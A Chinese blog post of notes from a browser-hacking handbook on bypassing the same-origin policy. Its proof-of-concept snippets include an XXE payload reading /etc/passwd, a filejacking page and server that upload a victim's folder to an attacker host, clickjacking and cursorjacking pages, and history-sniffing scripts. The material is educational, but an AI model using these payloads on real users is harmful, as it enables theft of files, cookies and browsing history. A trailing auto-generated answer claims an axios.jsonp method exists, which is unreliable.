绕过同源策略

绕过同源策略

理解同源策略

  • 同源:拥有相同主机名、协议和端口的页面
  • 同源策略:同源间的资源交互不受限制
SOP与DOM
  • 决定JavaScript及其他协议如何访问DOM时就是依赖同源策略,但是IE只验证主机名和协议
  • 允许同一域名下的其他站点访问DOM
    • 设置document.domain
      • 示例
        允许来自login.browservictim.com的代码访问store.browservictim.com中的表单
        document.domain=‘browservictim.com
        此时属于browservictim.com域名的任何页面,都可以访问当前页面的DOM了。
        一旦SOP对根域名开放,就不能再设防了。
SOP与CORS

默认情况下,如果使用XMLHttpRequest对象(XHR)向不同来源发送请求,会读不到响应。但是,请求还是会到达目标网站。

SOP阻止你读取HTTP响应首部或主体,放开SOP,允许XHR跨域通信的一个办法,就是使用CORS。

如果browserhacker.com源返回以下响应首部,那么browservictim.com的每个子域都会
打开与browserhacker.com的双向通信渠道:

Access-Control-Allow-Origin: *.browservictim.com
Access-Control-Allow-Methods: OPTIONS, GET, POST
Access-Control-Allow-Headers: X-custom //需要包含X-custom首部
Access-Control-Allow-Credentials: true //允许对资源的认证通信
SOP与插件
  • 理论上讲:如果插件来自http://browserhacker.com:80/,那它就只能访问http://browserhacker.com:80/。
  • 示例
    • 某些版本Java:只要两个域的IP地址一样,那它们就是同源的----->在虚拟主机的环境下,多个域名可能对应着同一个IP地址;
    • Adobe的PDF阅读器和Flash插件
      • Adobe Flash插件提供的管理跨域通信的机制,不同的源都要在网站根目录下放一个crossdomain.xml文件:
          <?xml version="1.0"?>
          	<cross-domain-policy>
          		<site-control permitted-cross-domain-policies="by-content-type" />
          		<allow-access-from domain="*.broeserhacker.com" />
          	</cross-domain-policy>
        
        此时browserhacker.com的所有子域就可以在应用中相互通信了。
    • Java和Silverlight支持类似的方式,因为这两个插件都支持crossdomain.xml,Silverlight还支持clientaccesspolicy.xml。
通过界面伪装理解SOP
  • 界面伪装:通过修改用户界面的视觉元素,达到掩盖实施恶意活动的目的
通过浏览器历史理解SOP

绕过SOP技术

在Java中绕过SOP
  • 示例
    • Java6和Java7中,如果两个主机名可以解析为同一个IP地址,则将它们看成同一个主机
      • 利用
        • www.browserhacker.com和www.browservictim.com都解析到IP地址192.168.0.2
        • 实现从www.browserhacker.com的一个指定URL中提取内容的Java代码:
            import java.apple.*;
            import java.awt.*;
            import java.net.*;
            import java.util.*;
            import java.io.*;
            
            public class javaAppletSop extends Applet{
            	public javaAppletSop() {
            		super();
            		return;
            	}
            	
            	public static String getInfo() {
            		String result=" ";
            		try{
            			URL url=new URL("http://www.browserhacker.com" + "/demos/secret_page.html");
            			BufferedReader in=new BufferedReader(new InputStreamReader(url.openStream()));
            			
            			String inputLine;
            			while ((inputLine=in.readLine())!=null)
            				result += inputLine;
            				in.close();
            		}
            		catch (Exception exception) {
            			result="Exception: "+ exception.toString();
            		}
            		return result;
            	}
            }
          
        • 编译前面的程序,并将其嵌入www.browservictim.com的某个HTML页。
            <html>
            <!--
            Tested on:
            	- Java 1.7u17 and Firefox (CtP allowed)
            	- Java 1.6u45 and IE 8
            -->
            <body>
            <embed id='javaAppletSop' code='javaAppletSop'
            type='application/x-java-applet'
            codebase='http://browservictim.com/' height='0'
            width='0' name='javaAppletSop'></embed>
            <!-- use the following one for IE -->
            <!--
            <applet id='javaAppletSop' code='javaAppletSop'
            codebase='http://browservictim.com/' height='0'
            width='0' name='javaAppletSop'></applet>
            -->
            <script>
            //设置5秒超时,等待用户允许CtP
            function getInfo() {
            	output=document.javaAppletSop.getInfo();
            	if (output) alert(output);
            }
            setTimeout(function(){getInfo();},5000);
            </script>
            </body>
            </html>
          
        • 在Firefox中通过Java插件1.6u45或1.7u17版打开该页面
    • LiveConnect在Firefox 15及更早版本中,通过Packages DOM对象可以直接在DOM中调用Java对象及方法
      • 利用
         <script>
         var url=new Packages.java.net.URL("http://browservictim.com/cookie.php");
         var is=new Packages.java.io.BuffereReader(new Packages.java.io.InputStreamReader(url.openStream()));
         var data=' ';
         while ((l=is.readLine())!=null) {
         	data+=1;
         }
         alert(data)
         </script>
        
    • Java漏洞CVE-2011-3546(2011年底修复)
      • 如果用于加载小程序的资源收到一个301或302重定向应答,那么重定向的来源会被确定为小程序的源
      • 利用
          <applet
          code="malicious.class"
          archive="http://browservictim.com?redirect_to=http://browserhacker.com/malicious.jar"
          width="100" height="100"></applet>
        
        Java 1.7和Java 1.6u27(及之前版本)认为,重定向的来源也是有效的源,
在Adobe Reader中绕过SOP
  • CVE-2013-0622(Adobe Reader 11.0.0以上版本已经修复)
    • 漏洞
      • 利用开放性重定向,让一个外部源访问重定向的源
      • 就是使用XXE指定资源时,SOP也不会起作用
    • 利用
      • 常见的XXE注入方式是把恶意代码注入接收XML输入的请求中
          <! DOCTYPE foo [
          <! ELEMENT foo ANY >
          <! ENTITY xxe SYSTEM "/etc/passwd" >]><foo>&xxe;</foo>
        
在Adobe Flash中绕过SOP
  • Adobe Flash 中有crossdomain.xml文件机制,这个文件控制Flash可以从哪些站点取得数据
  • 示例
      <?xml version="1.0" ?>
      	<cross-domain-policy>
      		<site-control permitted-cross-domain-policies="by-content-type" />
      		<allow-access-from domain="*" />
      	</ cross-domain-policy>
    
在Silverlight中绕过SOP
  • Microsoft的Silverlight插件与Flash采取相同的SOP策略,实现跨域通信,站点需要发布一个名为clientaccess-policy.xml的文件
  • clientaccess-policy.xml
      <?xml version="1.0" encoding="utf-8" ?>
      	<access-policy>
      		<cross-domain-access>
      			<policy>
      				<allow-from>
      					<domain url="*" />
      				</ allow-from>
      				<grant-to>
      					<resource path="/" include-subpaths="true" />
      				</ grant-to>
      			</ policy>
      		</ cross-domain-access>
      	</ access-policy>
    

Silverlight不会基于协议和端口来隔离不同源之间的通信

在IE中绕过SOP
  • 在Internet Explorer 8 Beta 2(包括IE6和IE7)中,对document.domain的实现都存在绕过SOP的漏洞
  • 示例
      var document;
      document={};
      document.domain='browserhacker.com';
      alert(document.domain)
    
在Safari中绕过SOP
  • Safari浏览器从2007年16开始到6.0.2版本,都没有对访问本地资源执行SOP。
  • 利用
    • 当用户通过file协议打开HTML附件时,其中的JavaScript代码就可以绕过SOP,并与不同的源进行双向通信。
    • 代码
      <html>
      <body>
      	<h1> I'm a local file loaded using the file:// scheme </h1>
      	<script>
      		xhr = new XMLHttpRequest();
      		xhr.onreadystatechange = function () {
      			if (xhr.readyState==4) {
      				alert(xhr.responseText);
      			}
      		};
      		xhr.open("GET", "http://browserhacker.com/pocs/safari_sop_bypass/different_orig.html");
      		xhr.send();
      	</script>
      </body>
      </html>
      
在Firefox中绕过SOP
  • 在sandbox值为allow-scripts时,内嵌框架中的恶意JavaScript脚本仍然可以访问window.top,就有了改变外部window地址的可能
  • 示例
    • 外部文件
      <iframe src="inner.html" sandbox="allow-scripts"></iframe>
      
    • 框架内代码
      <!-- Framed document, inner.html -->
      <script>
      	//逃出沙箱
      	if(top!=window) {top.location=window.location; }
      	//下面的JavaScript代码和标记都不受限制:允许插件、弹出窗口和表单。
      </script>
      
在Opera中绕过SOP
  • Opera在重写原型的时候不会强制贯彻SOP,所谓重写原型指的是重写IFrame位置对象的构造函数
  • 示例
    • 一个源框的内容
      <html>
      <body>
      	<iframe id="ifr" src="http://browservictim.com/xdomain.html"></iframe>
      	<script>
      		var iframe=document.getElementById('ifr');
      		function do_someing(){
      			var iframe=document.getElementById('ifr');
      			iframe.contentWindow.location.constructor.prototype.__defineGetter__.constructor('[].constructor.prototype.join=function(){console.log("pwned")}')();
      		}
      		setTimeout("do_something()",3000);
      	</script>
      </body>
      </html>
      
    • 另一个源框
      <html>
      <body>
      <b>I will be framed from a different origin</b>
      <script>
      	function do_join(){
      		[1,2,3].join();
      		console.log("join() after prototype override: " + [].constructor.prototype.join);
      	}
      	console.log("join() after prototype override: " + [].constructor.prototype.join);
      	setTimeout("do_join();", 5000);
      </script>
      </body>
      </html>
      
在云存储中绕过SOP
在CORS 中绕过SOP
  • 错误配置:Access-Control-Allow-Origin: *

利用绕过SOP技术

代理请求
  • 利用被勾连的浏览器替你发送请求,可以实现代理请求,可以利用被勾连浏览器的用户cookie,从而获得更多访问权限。
  • XSS代理请求的基本原理
    • 一台服务器通过套接字监听攻击者的机器(代理后端)
      它解析收到的HTTP请求,并将其转换成AJAX请求,随时准备将该请求插入被勾连浏览器要执行的后续JavaScript代码中。
    • 这些JavaScript代码随后某种通信渠道,被发送给被勾连的浏览器
    • 被勾连的浏览器执行这些代码时,就会发送相应的AJAX请求,而HTTP响应则被发送回代理后端
    • 代理后端去掉并调整各种首部,再将响应发回到最初向代理发送HTTP请求的客户端套接字。
      原理流程图
利用界面伪装攻击
点击劫持
  • 原理
    点击劫持攻击依赖于独立定位且透明的IFrame和特殊的CSS选择符,以欺骗用户点击不可见
    的元素。
  • 示例——简单示例
    • 需要注入的代码
      <html>
      <head>
      </head>
      <body>
      	<form name="addUserToAdmins" action="javascript: alert('clicked on hidden IFrame. User added.')" method="POST">   //action应该包含一个接收输入值的URL
      	<input type="hidden" name="userId" value"1234">
      	<input type="hidden" name="isAdmin" value"true">
      	<input type="hidden" name="token" value"asasdasd86asd876as87623234aksjdhjkashd">  //使用防御XSRF的token
      	<input type="submit" value="Add to admin group" style="height: 60px; width: 150px; font-size:3em">
      	</form>
      </body>
      </html>
      
    • 被注入的页面
      <html>
      <head>
      <style>
      iframe{
      	filter:alpha(opacity=0);
      	opacity:0;
      	position:absolute;
      	top: 250px;
      	left: 40px;
      	height: 300px;
      	width: 250px;
      }
      img{
      	position:absolute;
      	top: 0px;
      	left: 0px;
      	height: 300px;
      	width: 250px;
      }
      </style>
      </head>
      <body>
      <!-- The user sees the following image-->
      <img src="http://localhost/clickjacking/yes-no_mod.jpg">
      <!-- but he effectively clicks on the following framed content -->
      <iframe src="http://localhost/clickjacking/iframe_content.html"></iframe>
      
    ```
  • 示例——点击劫持
    设想有一个页面,需要用户点击其中的按钮来实现攻击。此时,点击劫持的目标就是保证目
    标的鼠标始终位于该按钮上面。
    • 外部框架(攻击利用的目标源)
        <html>
        <head>
        </head>
        <body style="background-color:red">
        <p>&nbsp;</p>
        <button onclick="javascript:alert('User Added')" type="button">Add User to Admin group</button>
        <p>&nbsp;</p>
        </body>
        </html>
      
    • 内部框架(负责监听onmousemove事件)
      • 使用jQuery API代码让outerObj始终跟随鼠标
          $j("body").mousemove(function(e) {
          	$j(outerObj).css('top', e.pageY);
          	$j(outerObj).css('left', e.pageX);
          });
        
      • 内部框架使用不透明技术渲染不可见元素
          filter:alpha(opacity=0);
          opacity:0;
        
光标劫持
  • 原理
    使用伪造的光标欺骗用户,伪造的光标与实际光标有偏离,一般向右偏离。这样攻击者可以诱使目标点击自己定位好的元素。
  • 示例
      <html>
      <head>
      <style type="text/css">
      #c {
      	cursor:url("http://localhost/basic_cursorjacking/new_cursor.png"),default;
      }
      #c input{
      	cursor:url("http://localhost/basic_cursorjacking//new_cursor.png"),default;
      }
      </style>
      </head>
      <body>
      	<h1> CursorJacking. Click on the 'Second' or 'Fourth' buttons. </h1>
      <div id="c">
      	<input type="button" value="First" onclick="alert('clicked on 1')">
      	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      	<input type="button" value="Second" onclick="alert('clicked on 2')">
      	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></br>
      	<input type="button" value="Third" onclick="alert('clicked on 3')">
      	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      	<input type="button" value="Fourth" onclick="alert('clicked on 4')">
      	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      </div>
      </body>
      </html>
    
使用文件劫持
  • 原理
    通过浏览器中巧妙的UI操作,把攻击目标OS中的文件夹内容转移到攻击者的服务器。(依赖于目标在从网上下载文件时使用的是操作系统的Choise Folder对话框)
  • 必要条件
    • 攻击目标必须使用Chrome,因为这是目前唯一支持directory和webkitdirectory输入属性的浏览器:
      <input type="file" id="file_x " webkitdirectory directory />
    • 必须成功引诱目标点击某个地方,这类似于其他界面伪装技术。
  • 示例
    • 服务端代码
      require 'rubygems'
      require 'thin'
      require 'rack'
      require 'sinatra'
      
      class UploadManager < Sinatra::Base
      	post "/" do
      		puts "receiving post data"
      		params.each do |key,value|
      			puts "#{key}->#{value}"
      		end
      	end
      end
      
      @routes = {
      	"/upload" => UploadManager.new      #准备好处理发送到/upload URI的POST请求
      }
      
      @rack_app = Rack::URLMap.new(@routes)
      @thin = Thin::Server.new("browserhacker.com", 4000, @rack_app)  #将Ruby Web服务器Thin绑定在4000端口
      
      Thin::Logging.silent = true
      Thin::Logging.debug = false
      
      puts "[#{Time.now}] Thin ready"
      @thin.start
      
    • 客户端代码
      <html>
      <head>
      	<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript"></script>
      	<style>
      		body {background: #333; color: #eee;}
      		a:link, a:visited {color: lightgreen;}
      		input[type='file'] {
      			opacity: 0;
      			position: absolute;
      			left: 0; top: 0;
      			width: 300px;
      			line-height: 20px;
      			height: 25px;
      		}
      		#cloak {
      			position: absolute;
      			left: 0;
      			top: 0;
      			line-height: 20px;
      			height: 25px;
      			cursor: pointer;
      		}
      		label {
      			display: block;
      		}
      	</style>
      </head>
      <body>
      <button id=cloak>Download to...</button>
      <input type="file" id="cloaked" webkitdirectory directory />
      <script>
      	document.getElementById("cloaked").onchange = function(e) {
      		for (var i = 0, f; f = e.target.files[i]; ++i) {
      			console.log("sending file with path: " + f.webkitRelativePath + ", name: " + f.name);
      			fdata = new FormData();
      			fdata.append('path', f.webkitRelativePath);
      			fdata.append('name', f.name);
      			fdata.append('content', f);
      			var xhr = new XMLHttpRequest();
      			xhr.open("POST", "http://browserhacker.com/upload", true);
      			xhr.send(fdata);
      		}
      	};
      </script>
      </body>
      </html>
      
拖放
  • 在控制的钓鱼页面中,创建一个内嵌框架。该框架来源指向一个跨域资源,如果用户拖动该框架并在顶级窗口的某个地方放开,就可以绕过SOP读取该框架的内容。
  • 示例
    • 在内嵌框架中使用了view-source://
      <iframe src="view-source:http://browservictim.com/any">
      
利用浏览器历史
使用CSS颜色
  • 原理:使用CSS信息窃取浏览器历史
  • 依赖:visited、链接元素的颜色(访问过—紫色,未访问—蓝色)
  • 示例
    • 网页脚本
      <html>
      <head>
      	<style>
      		#link:visited {color: #FF0000;}
      	</style>
      </head>
      <body>
      	<a id="link" href="http://browserhacker.com" target="_blank">clickme</a>
      	<script>
      		var link = document.getElementById("link");
      		var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
      		console.log(color);
      	</script>
      </body>
      </html>
      
使用缓存计时
  • 原理
    • 推断资源是否已经取得(并缓存了),进一步确定用户曾经访问过缓存内容的来源网站
  • 存在的问题
    • 在初始化测试中,查询浏览器缓存会影响结果
  • 示例
      function wait_for_noread() {
      	try{
      		/*
      		* 这里存在SOP漏洞
      		* 因为要读取内嵌框架中加载的跨源资源的location.href
      		*/
      		if (frames['f'].location.href == undefined) throw 1;
      		
      		/*
      		* 到 TIME_LIMIT之前,不断从内嵌框架中读取location.href
      		* 否则调用maybe_test_next()重置内嵌框架的src为about:blank
      		* 防止完全加载资源而替代缓存
      		* 然后处理下一个资源
      		*/
      		if (cycles++ >= TIME_LIMIT) {
      			maybe_test_next();
      			return;
      		}
      		setTimeout(wait_for_noread, 1);
      	} catch (e) {
      		/*
      		* 找到SOP同源
      		* 确认资源已缓存
      		*/
      		confirmed_visited = true;
      		maybe_test_next();
      	}
      }
    
使用浏览器API
  • 目标:Avant浏览器
  • 示例
    • 问题代码
        var av_if = document.createElement("iframe");
        av_if.setAttribute('src', "browser:home");   //把享有特权的browser:home地址加载到内嵌框架
        av_if.setAttribute('name','av_if');
        av_if.setAttribute('width','0');
        av_if.setAttribute('heigth','0');
        av_if.setAttribute('scrolling','no');
        document.body.appendChild(av_if);
      
        var vstr = {value: ""};
      
        //如果渲染引擎是Firefox,这将有效
        window['av_if'].navigator.AFRunCommand(60003, vstr);  //在navigator对象上执行AFRunCommand()函数(是Avant给DOM添加的专有API)
        alert(vstr.value);
      
      向AFRunCommand()传入60003和一个JSON对象,就可以取得完整的浏览器历史记录。
参考文献

《黑客攻防技术宝典——浏览器》

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用axios发送跨域请求需要在请求头中添加`Access-Control-Allow-Origin`来允许跨域访问,但是由于这个请求头是服务器端返回的,客户端无法直接添加,所以需要通过其他方式来绕过同源策略的限制。 一种常见的方法是使用JSONP(JSON with Padding)技术。JSONP是一种跨域数据请求的解决方案,它利用了script标签不受同源策略限制的特性,将需要获取的数据包装在一个回调函数中,然后通过script标签引入远程脚本,从而获取数据。 以下是一个使用axios和JSONP的示例代码: ```js import axios from 'axios'; axios.jsonp('https://h5vv.video.qq.com/getinfo', { params: { vids: vid, platform: 101001, charge: 0, otype: 'json', defn: 'sd', callback: 'jsonpCallback' } }) .then(response => { console.log(response.data); }) .catch(error => { console.log(error); }); function jsonpCallback(data) { console.log(data); } ``` 在上面的代码中,我们使用axios.jsonp()方法来发起跨域请求,并将请求的URL和参数作为参数传递给该方法。在参数中,我们需要指定一个callback参数来指定回调函数的名称,该回调函数的名称需要在服务端进行处理后返回给客户端。 在服务端处理请求时,需要根据callback参数的值将响应数据包装在一个函数中返回给客户端。例如,在Node.js中可以使用如下代码实现: ```js const callbackName = req.query.callback; const responseData = { /* 响应数据 */ }; const responseString = `${callbackName}(${JSON.stringify(responseData)})`; res.send(responseString); ``` 在客户端,我们需要定义一个与服务端返回的回调函数名称相同的函数(如上述代码中的jsonpCallback函数),该函数会在服务端返回的数据中被调用,并将响应数据作为参数传递给它。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值